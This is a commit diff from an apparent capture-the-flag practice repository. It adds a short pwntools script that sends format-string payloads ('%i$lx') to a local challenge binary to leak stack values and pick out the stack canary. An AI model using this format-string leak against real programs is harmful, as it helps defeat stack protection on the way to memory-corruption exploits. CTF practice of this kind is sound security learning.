Second CTFs part

canary/04_secret_library/find_canary.py

@@ -0,0 +1,17 @@
+#!/usr/bin/env python3
+from pwn import *
+import re
+
+elf = context.binary = ELF("./secret_library", checksec=False)
+
+context.log_level='warn'
+for i in range(35):
+    p = process(elf.path)
+    p.recvline()
+    p.sendline(f"%{i}$lx") 
+    val = p.recvline().split(b",")[1].strip()
+    if( val[-2:] == b"00"):
+        print(f"Possible canary: {val} at position: {i}")
+    p.shutdown()
+
+#p.interactive()